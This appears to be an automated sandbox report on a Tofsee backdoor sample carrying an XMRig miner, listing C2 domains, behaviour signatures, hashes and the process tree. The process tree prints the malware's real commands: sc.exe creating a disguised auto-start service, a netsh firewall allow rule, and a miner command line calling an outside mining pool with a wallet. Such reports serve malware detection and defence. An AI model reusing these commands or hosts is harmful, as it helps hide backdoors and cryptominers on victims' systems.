Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/01/2023, 17:19

General

  • Target
    file.exe
  • Size 195KB
  • Sample230121-vvtvmsdb66
  • SHA256 2b23add7c19bcb13cccefbdb38813184b998d91de6a00a6068eb2df2332e79b9
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4996
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\llzgyhbb\
      2⤵
        PID:3268
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\unksjcwt.exe" C:\Windows\SysWOW64\llzgyhbb\
        2⤵
          PID:1416
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create llzgyhbb binPath= "C:\Windows\SysWOW64\llzgyhbb\unksjcwt.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3920
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description llzgyhbb "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1992
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start llzgyhbb
          2⤵
          • Launches sc.exe
          PID:3488
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2504
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4996 -s 1404
          2⤵
          • Program crash
          PID:3748
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4996 -ip 4996
        1⤵
          PID:740
        • C:\Windows\SysWOW64\llzgyhbb\unksjcwt.exe
          C:\Windows\SysWOW64\llzgyhbb\unksjcwt.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:204
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:4280
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3464
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 204 -s 536
            2⤵
            • Program crash
            PID:3096
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 204 -ip 204
          1⤵
            PID:3716

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                unksjcwt.exe

                • Path C:\Users\Admin\AppData\Local\Temp\unksjcwt.exe
                • Size 13.3MB
                • SHA256 8d51007c0d9360982f63b23dc0696a30af87e80331fd1978cd159fc946697547
                • MD5 SHA1 SHA512 SSDEEP

                unksjcwt.exe

                • Path C:\Windows\SysWOW64\llzgyhbb\unksjcwt.exe
                • Size 13.3MB
                • SHA256 8d51007c0d9360982f63b23dc0696a30af87e80331fd1978cd159fc946697547
                • MD5 SHA1 SHA512 SSDEEP

                memory/204-145-0x0000000002DCA000-0x0000000002DDD000-memory.dmp

                memory/204-150-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/204-152-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/3464-173-0x00000000012B0000-0x00000000013A1000-memory.dmp

                memory/3464-178-0x00000000012B0000-0x00000000013A1000-memory.dmp

                memory/4280-147-0x0000000000C80000-0x0000000000C95000-memory.dmp

                memory/4280-168-0x00000000076D0000-0x00000000076D7000-memory.dmp

                memory/4280-170-0x0000000000C80000-0x0000000000C95000-memory.dmp

                memory/4280-151-0x0000000000C80000-0x0000000000C95000-memory.dmp

                memory/4280-153-0x0000000002800000-0x0000000002A0F000-memory.dmp

                memory/4280-159-0x0000000002B10000-0x0000000002B20000-memory.dmp

                memory/4280-156-0x0000000001FF0000-0x0000000001FF6000-memory.dmp

                memory/4280-162-0x00000000076C0000-0x00000000076C5000-memory.dmp

                memory/4280-165-0x0000000007E80000-0x000000000828B000-memory.dmp

                memory/4996-144-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/4996-143-0x0000000002BFF000-0x0000000002C12000-memory.dmp

                memory/4996-135-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/4996-133-0x00000000048D0000-0x00000000048E3000-memory.dmp

                memory/4996-132-0x0000000002BFF000-0x0000000002C12000-memory.dmp